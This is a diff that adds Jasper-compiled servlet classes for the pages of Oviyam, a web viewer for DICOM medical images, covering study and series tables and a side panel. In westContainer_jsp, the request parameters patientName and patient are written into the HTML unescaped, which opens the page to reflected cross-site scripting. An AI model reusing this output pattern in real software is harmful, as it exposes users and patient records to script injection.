_jspx_th_fmt_005fmessage_005f6.setBundle((javax.servlet.jsp.jstl.fmt.LocalizationContext) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${lang}", javax.servlet.jsp.jstl.fmt.LocalizationContext.class, (PageContext)_jspx_page_context, null, false));
int _jspx_eval_fmt_005fmessage_005f6 = _jspx_th_fmt_005fmessage_005f6.doStartTag();
if (_jspx_th_fmt_005fmessage_005f6.doEndTag() == javax.servlet.jsp.tagext.Tag.SKIP_PAGE) {
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f6);
return true;
}
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.reuse(_jspx_th_fmt_005fmessage_005f6);
return false;
}
private class queryResult_jspHelper
extends org.apache.jasper.runtime.JspFragmentHelper
{
private javax.servlet.jsp.tagext.JspTag _jspx_parent;
private int[] _jspx_push_body_count;
public queryResult_jspHelper( int discriminator, JspContext jspContext, javax.servlet.jsp.tagext.JspTag _jspx_parent, int[] _jspx_push_body_count ) {
super( discriminator, jspContext, _jspx_parent );
this._jspx_parent = _jspx_parent;
this._jspx_push_body_count = _jspx_push_body_count;
}
public void invoke0( JspWriter out )
throws Throwable
{
out.write("\n");
out.write("\t\t\t\t<tr>\n");
out.write("\t\t\t\t\t<td><img src=\"images/details_open.png\" alt=\"\" /> <img\n");
out.write("\t\t\t\t\t\tsrc=\"images/green.png\" style=\"display: none;\" id=\"");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${studyIUID}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("\"\n");
out.write("\t\t\t\t\t\talt=\"\" /></td>\n");
out.write("\t\t\t\t\t<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${patientId}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${patientName}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${patientGender}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t<!--<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${birthDate}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t\t<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${accessionNumber}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>-->\n");
out.write("\t\t\t\t\t<td data-order=\"");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${dateOrder}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write('"');
out.write('>');
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${studyDate}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${studyDescription}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${modality}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${totalInstances}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${studyIUID}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${referPhysician}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t<td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${totalSeries}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write("\t\t\t\t\t<!-- <td>");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${patientGender}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td> -->\n");
out.write("\t\t\t\t</tr>\n");
out.write("\t\t\t");
return;
}
public void invoke( java.io.Writer writer )
throws JspException
{
JspWriter out = null;
if( writer != null ) {
out = this.jspContext.pushBody(writer);
} else {
out = this.jspContext.getOut();
}
try {
this.jspContext.getELContext().putContext(JspContext.class,this.jspContext);
switch( this.discriminator ) {
case 0:
invoke0( out );
break;
}
}
catch( Throwable e ) {
if (e instanceof SkipPageException)
throw (SkipPageException) e;
throw new JspException( e );
}
finally {
if( writer != null ) {
this.jspContext.popBody();
}
}
}
}
}

View File

@@ -0,0 +1,246 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class seriesDetails_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
static {
_jspx_dependants = new java.util.ArrayList(1);
_jspx_dependants.add("/WEB-INF/tlds/SeriesDetails.tld");
}
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html; charset=UTF-8");
pageContext = _jspxFactory.getPageContext(this, request, response,
"ErrorPage.jsp", true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("<!--\n");
out.write("/* ***** BEGIN LICENSE BLOCK *****\n");
out.write("* Version: MPL 1.1/GPL 2.0/LGPL 2.1\n");
out.write("*\n");
out.write("* The contents of this file are subject to the Mozilla Public License Version\n");
out.write("* 1.1 (the \"License\"); you may not use this file except in compliance with\n");
out.write("* the License. You may obtain a copy of the License at\n");
out.write("* http://www.mozilla.org/MPL/\n");
out.write("*\n");
out.write("* Software distributed under the License is distributed on an \"AS IS\" basis,\n");
out.write("* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n");
out.write("* for the specific language governing rights and limitations under the\n");
out.write("* License.\n");
out.write("*\n");
out.write("* The Original Code is part of Oviyam, an web viewer for DICOM(TM) images\n");
out.write("* hosted at http://skshospital.net/pacs/webviewer/oviyam_0.6-src.zip\n");
out.write("*\n");
out.write("* The Initial Developer of the Original Code is\n");
out.write("* Raster Images\n");
out.write("* Portions created by the Initial Developer are Copyright (C) 2014\n");
out.write("* the Initial Developer. All Rights Reserved.\n");
out.write("*\n");
out.write("* Contributor(s):\n");
out.write("* Babu Hussain A\n");
out.write("* Devishree V\n");
out.write("* Meer Asgar Hussain B\n");
out.write("* Prakash J\n");
out.write("* Suresh V\n");
out.write("*\n");
out.write("* Alternatively, the contents of this file may be used under the terms of\n");
out.write("* either the GNU General Public License Version 2 or later (the \"GPL\"), or\n");
out.write("* the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n");
out.write("* in which case the provisions of the GPL or the LGPL are applicable instead\n");
out.write("* of those above. If you wish to allow use of your version of this file only\n");
out.write("* under the terms of either the GPL or the LGPL, and not to allow others to\n");
out.write("* use your version of this file under the terms of the MPL, indicate your\n");
out.write("* decision by deleting the provisions above and replace them with the notice\n");
out.write("* and other provisions required by the GPL or the LGPL. If you do not delete\n");
out.write("* the provisions above, a recipient may use your version of this file under\n");
out.write("* the terms of any one of the MPL, the GPL or the LGPL.\n");
out.write("*\n");
out.write("* ***** END LICENSE BLOCK ***** */\n");
out.write("-->\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("<html>\n");
out.write("<head>\n");
out.write("\n");
out.write(" <style>\n");
out.write(" /* To hide toolbar (top curve) */\n");
out.write(" /* .dataTables_wrapper .fg-toolbar\n");
out.write(" {\n");
out.write(" display: none;\n");
out.write(" }*/\n");
out.write(" .dataTables_wrapper{\n");
out.write(" border-collapse: collapse;\n");
out.write(" border: none;\n");
out.write(" }\n");
out.write(" .display{\n");
out.write(" border-collapse: collapse;\n");
out.write(" }\n");
out.write(" </style>\n");
out.write("\n");
out.write("</head>\n");
out.write("<body>\n");
out.write("<table class=\"display\" cellspacing=\"20\" style=\"font-size:14px;\">\n");
out.write(" <thead>\n");
out.write(" <tr>\n");
out.write(" <th>Series Number</th>\n");
out.write(" <th>Series Date</th>\n");
out.write(" <th>Series Desc</th>\n");
out.write(" <th>Modality</th>\n");
out.write(" <th>Image Count</th>\n");
out.write(" </tr>\n");
out.write(" </thead>\n");
out.write(" <tbody>\n");
out.write(" ");
if (_jspx_meth_ser_005fSeries_005f0(_jspx_page_context))
return;
out.write("\n");
out.write(" </tbody>\n");
out.write("</table>\n");
out.write("</body>\n");
out.write("</html>");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
private boolean _jspx_meth_ser_005fSeries_005f0(PageContext _jspx_page_context)
throws Throwable {
PageContext pageContext = _jspx_page_context;
JspWriter out = _jspx_page_context.getOut();
// ser:Series
in.raster.oviyam.handler.SeriesDetailsHandler _jspx_th_ser_005fSeries_005f0 = new in.raster.oviyam.handler.SeriesDetailsHandler();
org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_ser_005fSeries_005f0);
_jspx_th_ser_005fSeries_005f0.setJspContext(_jspx_page_context);
// /seriesDetails.jsp(80,8) name = patientId type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_ser_005fSeries_005f0.setPatientId((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.patient}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /seriesDetails.jsp(80,8) name = study type = null reqTime = true required = true fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_ser_005fSeries_005f0.setStudy((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.study}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
// /seriesDetails.jsp(80,8) name = dcmURL type = null reqTime = true required = false fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_ser_005fSeries_005f0.setDcmURL((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.dcmURL}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
_jspx_th_ser_005fSeries_005f0.setJspBody(new seriesDetails_jspHelper( 0, _jspx_page_context, _jspx_th_ser_005fSeries_005f0, null));
_jspx_th_ser_005fSeries_005f0.doTag();
org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_ser_005fSeries_005f0);
return false;
}
private class seriesDetails_jspHelper
extends org.apache.jasper.runtime.JspFragmentHelper
{
private javax.servlet.jsp.tagext.JspTag _jspx_parent;
private int[] _jspx_push_body_count;
public seriesDetails_jspHelper( int discriminator, JspContext jspContext, javax.servlet.jsp.tagext.JspTag _jspx_parent, int[] _jspx_push_body_count ) {
super( discriminator, jspContext, _jspx_parent );
this._jspx_parent = _jspx_parent;
this._jspx_push_body_count = _jspx_push_body_count;
}
public boolean invoke0( JspWriter out )
throws Throwable
{
out.write("\n");
out.write(" <tr>\n");
out.write(" <td align=\"center\">");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${seriesNumber}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write(" <td align=\"center\" data-order=\"");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${dateOrder}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write('"');
out.write('>');
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${seriesDate}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write(' ');
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${seriesTime}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write(" <td align=\"center\">");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${seriesDesc}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write(" <td align=\"center\">");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${modality}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write(" <td align=\"center\">");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${numberOfImages}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</td>\n");
out.write(" </tr>\n");
out.write(" ");
return false;
}
public void invoke( java.io.Writer writer )
throws JspException
{
JspWriter out = null;
if( writer != null ) {
out = this.jspContext.pushBody(writer);
} else {
out = this.jspContext.getOut();
}
try {
this.jspContext.getELContext().putContext(JspContext.class,this.jspContext);
switch( this.discriminator ) {
case 0:
invoke0( out );
break;
}
}
catch( Throwable e ) {
if (e instanceof SkipPageException)
throw (SkipPageException) e;
throw new JspException( e );
}
finally {
if( writer != null ) {
this.jspContext.popBody();
}
}
}
}
}

View File

@@ -0,0 +1,308 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class westContainer_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
static {
_jspx_dependants = new java.util.ArrayList(2);
_jspx_dependants.add("/WEB-INF/tlds/SeriesDetails.tld");
_jspx_dependants.add("/WEB-INF/tlds/ImageInfo.tld");
}
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html; charset=UTF-8");
pageContext = _jspxFactory.getPageContext(this, request, response,
"ErrorPage.jsp", true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("<!--\n");
out.write("/* ***** BEGIN LICENSE BLOCK *****\n");
out.write("* Version: MPL 1.1/GPL 2.0/LGPL 2.1\n");
out.write("*\n");
out.write("* The contents of this file are subject to the Mozilla Public License Version\n");
out.write("* 1.1 (the \"License\"); you may not use this file except in compliance with\n");
out.write("* the License. You may obtain a copy of the License at\n");
out.write("* http://www.mozilla.org/MPL/\n");
out.write("*\n");
out.write("* Software distributed under the License is distributed on an \"AS IS\" basis,\n");
out.write("* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n");
out.write("* for the specific language governing rights and limitations under the\n");
out.write("* License.\n");
out.write("*\n");
out.write("* The Original Code is part of Oviyam, an web viewer for DICOM(TM) images\n");
out.write("* hosted at http://skshospital.net/pacs/webviewer/oviyam_0.6-src.zip\n");
out.write("*\n");
out.write("* The Initial Developer of the Original Code is\n");
out.write("* Raster Images\n");
out.write("* Portions created by the Initial Developer are Copyright (C) 2014\n");
out.write("* the Initial Developer. All Rights Reserved.\n");
out.write("*\n");
out.write("* Contributor(s):\n");
out.write("* Babu Hussain A\n");
out.write("* Devishree V\n");
out.write("* Meer Asgar Hussain B\n");
out.write("* Prakash J\n");
out.write("* Suresh V\n");
out.write("*\n");
out.write("* Alternatively, the contents of this file may be used under the terms of\n");
out.write("* either the GNU General Public License Version 2 or later (the \"GPL\"), or\n");
out.write("* the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n");
out.write("* in which case the provisions of the GPL or the LGPL are applicable instead\n");
out.write("* of those above. If you wish to allow use of your version of this file only\n");
out.write("* under the terms of either the GPL or the LGPL, and not to allow others to\n");
out.write("* use your version of this file under the terms of the MPL, indicate your\n");
out.write("* decision by deleting the provisions above and replace them with the notice\n");
out.write("* and other provisions required by the GPL or the LGPL. If you do not delete\n");
out.write("* the provisions above, a recipient may use your version of this file under\n");
out.write("* the terms of any one of the MPL, the GPL or the LGPL.\n");
out.write("*\n");
out.write("* ***** END LICENSE BLOCK ***** */\n");
out.write("-->\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
String patName = new String(request.getParameter("patientName")
.getBytes("ISO-8859-1"), "UTF-8");
String studyDesc = new String(request.getParameter("studyDesc")
.getBytes("ISO-8859-1"), "UTF-8");
out.write("\n");
out.write("\n");
out.write("<html>\n");
out.write("\t<head>\n");
out.write("\t\n");
out.write("\t\t<style type=\"text/css\">\n");
out.write("\t\t\t.heading\n");
out.write(" {\n");
out.write(" font-family: Arial;\n");
out.write(" font-size: 20px;\n");
out.write(" font-weight: bold;\n");
out.write(" padding-left: 3px;\n");
out.write(" width: 100%;\n");
out.write(" white-space: nowrap;\n");
out.write(" text-overflow: ellipsis;\n");
out.write(" overflow: hidden;\n");
out.write(" }\n");
out.write("\t\t\t\n");
out.write("\t\t\t.seriesTable {\n");
out.write("\t\t\t\ttable-layout: fixed;\n");
out.write("\t\t\t\twidth: 100%;\n");
out.write("\t\t\t\tfont-family: Arial;\n");
out.write("\t\t\t\tfont-size: 12px;\n");
out.write("\t\t\t\tborder-spacing: 0px;\n");
out.write("\t\t\t\tpadding-left: 2px;\n");
out.write("\t\t\t}\n");
out.write("\t\t\t\n");
out.write("\t\t\t.scale-image {\n");
out.write("\t\t\t\twidth: 30%;\n");
out.write("\t\t\t\theight: 30%;\n");
out.write("\t\t\t}\n");
out.write("\t\t\t\n");
out.write("\t\t\t.accordion {\n");
out.write("\t\t\t\tpadding:5px;\n");
out.write("\t\t\t\tfont-weight:bold;\n");
out.write("\t\t\t\tcursor:pointer;\n");
out.write("\t\t\t\tbackground-color:#666;\t\t\t\t\n");
out.write("\t\t\t\tbackground-position:right center;\n");
out.write("\t\t\t\tbackground-repeat:no-repeat; color:#F90;\n");
out.write("\t\t\t\tborder:1px solid #333;\n");
out.write("\t\t\t\tfont-size: 14px;\n");
out.write("\t\t\t\tfont-family: Arial;\n");
out.write("\t\t\t}\t\n");
out.write("\t\t\t.accordion:hover {\n");
out.write("\t\t\t\tbackground-color:#555;\n");
out.write("\t\t\t}\n");
out.write("\t\t\t\n");
out.write("\t\t\t.loading {\n");
out.write("\t\t\t\tbackground-image:url(images/loading.gif);\n");
out.write("\t\t\t}\n");
out.write("\t\t\t\n");
out.write("\t\t\t#otherStudiesInfo {\n");
out.write("\t\t\t\tpadding:5px;\n");
out.write("\t\t\t\tfont-weight:bold;\n");
out.write("\t\t\t\tcursor:pointer;\n");
out.write("\t\t\t\tbackground-color:#222;\t\n");
out.write("\t\t\t\tcolor: #fff;\n");
out.write("\t\t\t\tfont-family: Arial;\n");
out.write("\t\t\t\tfont-size: 14px; \n");
out.write("\t\t\t\ttext-align: center; \n");
out.write("\t\t\t\tmargin: 7px 0px 7px 0;\t\t\t\n");
out.write("\t\t\t}\n");
out.write("\t\t\t\n");
out.write("\t\t\t.open {\n");
out.write("\t\t\t\tbackground-image:url(images/arrow_up.gif);\n");
out.write("\t\t\t}\n");
out.write("\t\t\t\n");
out.write("\t\t\t.close {\n");
out.write("\t\t\t\tbackground-image:url(images/arrow_down.gif);\n");
out.write("\t\t\t}\n");
out.write("\t\t\t\n");
out.write("\t\t\t#previews::-webkit-scrollbar {\n");
out.write("\t\t\t\twidth: 14px;\n");
out.write("\t\t\t\tbackground: #464646;\n");
out.write("\t\t\t}\n");
out.write("\n");
out.write(" #previews::-webkit-scrollbar-track {\n");
out.write("\t\t\t -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);\n");
out.write("\t\t\t} \n");
out.write("\t\t\t\n");
out.write("\t\t\t#previews::-webkit-scrollbar-thumb {\n");
out.write(" \t\t\t -webkit-border-radius: 10px; \n");
out.write(" \t\t\t border-radius: 10px;\n");
out.write("\t\t\t\tbackground: #262626;\n");
out.write("\t\t\t -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5); \n");
out.write("\t\t\t}\n");
out.write("\t\t</style>\n");
out.write("\n");
out.write("\t\t<script type=\"text/javascript\">\t\t\n");
out.write("\t\t\tfunction toggle(divider) {\n");
out.write("\t\t\t\tvar div = $(divider);\n");
out.write("\t\t\t\tif (div.attr('title') === 'Close') {\n");
out.write("\t\t\t\t\tdiv.attr('title', 'Open');\n");
out.write("\t\t\t\t\tdiv.parent().css('width', '1%');\n");
out.write("\t\t\t\t\tdiv.parent().next().css('width', '99%');\n");
out.write("\t\t\t\t\tdiv.css('background', 'url(\"images/showleft.png\")');\n");
out.write("\t\t\t\t\t$('#previews').hide();\n");
out.write("\t\t\t\t\t$('.heading').hide();\n");
out.write("\t\t\t\t\t$('#studyTable').hide();\n");
out.write("\t\t\t\t\tcreateEvent(\"ToolSelection\", {\n");
out.write(" \t\t tool: 'close'\n");
out.write(" \t\t\t });\n");
out.write("\t\t\t\t} else {\n");
out.write("\t\t\t\t\tdiv.attr('title', 'Close');\n");
out.write("\t\t\t\t\tdiv.parent().css('width', '20%');\n");
out.write("\t\t\t\t\tdiv.parent().next().css('width', '80%');\n");
out.write("\t\t\t\t\tdiv.css('background', 'url(\"images/hideleft.png\")');\n");
out.write("\t\t\t\t\t$('#previews').show();\n");
out.write("\t\t\t\t\t$('.heading').show();\n");
out.write("\t\t\t\t\t$('#studyTable').show();\n");
out.write("\t\t\t\t\tcreateEvent(\"ToolSelection\", {\n");
out.write(" \t\t tool: 'close'\n");
out.write(" \t\t\t });\n");
out.write("\t\t\t\t}\n");
out.write("\t\t\t}\n");
out.write("\n");
out.write("\t\t\tfunction showOtherStudies(patientID,selectedStudyId,dcmUrl,wadoUrl) {\n");
out.write("\t\t\t\t$.post(\"otherStudies.do\", {\n");
out.write("\t\t\t\t\t\"patientID\" : patientID,\n");
out.write("\t\t\t\t\t\"studyUID\" : selectedStudyId,\n");
out.write("\t\t\t\t\t\"dcmURL\" : dcmUrl\t\t\t\t\t\n");
out.write("\t\t\t\t}, function(data) {\n");
out.write("\t\t\t\t\t$.each(data, function(i, study) {\n");
out.write("\t\t\t\t\t\tvar div = document.createElement(\"div\");\n");
out.write("\t\t\t\t\t\tvar url = \"Study.jsp?patient=\" + patientID + \"&study=\" + study[\"studyUID\"] + \"&dcmURL=\" + dcmUrl + \"&wadoUrl=\" + wadoUrl + \"&studyDesc=\" + study[\"dateDesc\"];\n");
out.write("\t\t\t\t\t\tjQuery(\"#otherStudies\").show();\n");
out.write("\t\t\t\t\t\tjQuery(\"#otherStudies\").load(url);\n");
out.write("\t\t\t\t\t});\n");
out.write("\t\t\t\t}, \"json\");\n");
out.write("\t\t\t}\n");
out.write("\n");
out.write("\t\t\tfunction acc(acc1) {\n");
out.write(" \t/*acc1.next().toggle(); \t\n");
out.write(" \tif(acc1.hasClass('open')) {\n");
out.write(" \t\tacc1.removeClass('open').addClass('close');\n");
out.write(" \t} else {\n");
out.write(" \t\tacc1.removeClass('close').addClass('open');\n");
out.write(" \t} */\n");
out.write(" \tif(acc1.hasClass(\"open\")) {\n");
out.write(" \tacc1.removeClass(\"open\").addClass(\"close\");\n");
out.write(" \tacc1.next().hide();\n");
out.write(" \t} else {\n");
out.write(" \t$(\".accordion\").next().hide();\n");
out.write(" \t$(\".accordion\").each(function() {\n");
out.write(" \tif($(this).hasClass(\"open\")) {\n");
out.write(" \t$(this).removeClass(\"open\").addClass(\"close\");\n");
out.write(" \t}\n");
out.write(" \t});\n");
out.write(" \tacc1.removeClass(\"close\").addClass(\"open\");\n");
out.write(" \tacc1.next().show();\n");
out.write(" \t}\n");
out.write(" \t \t\n");
out.write(" }\n");
out.write("\t\t</script>\n");
out.write("\t</head>\n");
out.write("\t<body>\n");
out.write(" \t<div title=\"Close\" style=\"width: 17px; height: 17px; cursor: pointer; float: right; background: url('images/hideleft.png');\" onclick=\"toggle(this);\"></div>\n");
out.write(" \n");
out.write(" \t<div style=\"border: 2px solid #2A2A2A; height: 9%;\">\n");
out.write("\t <div id=\"patName\" class=\"heading\" style=\"color: #FF8A00; padding: 2px 0 3px 3px; cursor: default;\" title=\"");
out.print(patName);
out.write('"');
out.write('>');
out.print(patName);
out.write("</div>\n");
out.write("\t <div id=\"patID\" class=\"heading\" style=\"color:#FF8A00; padding: 0 0 3px 3px; font-size: 15px !important;\">ID: ");
out.write((java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.patient}", java.lang.String.class, (PageContext)_jspx_page_context, null, false));
out.write("</div> \n");
out.write(" </div>\n");
out.write(" \n");
out.write(" <div id=\"previews\" style=\"overflow: auto; height: 90%; border-top: 2px solid black;\">\n");
out.write(" \t");
org.apache.jasper.runtime.JspRuntimeLibrary.include(request, response, (java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("Study.jsp?patient=${param.patient}&study=${param.study}&dcmURL=${param.dcmURL}&wadoUrl=${param.wadoUrl}&descDisplay=true&studyDesc=${param.studyDesc}&studyDate=${param.studyDate}&contentType=${param.contentType}", java.lang.String.class, (PageContext)_jspx_page_context, null, false), out, false);
out.write("\n");
out.write(" \t<div id=\"otherStudiesInfo\" style=\"display: none;\"> </div>\n");
out.write(" \t<div id=\"otherStudies\" style=\"display:none;\">\n");
out.write(" \t</div>\n");
out.write(" </div> \n");
out.write("\t</body>\n");
out.write("</html>\n");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}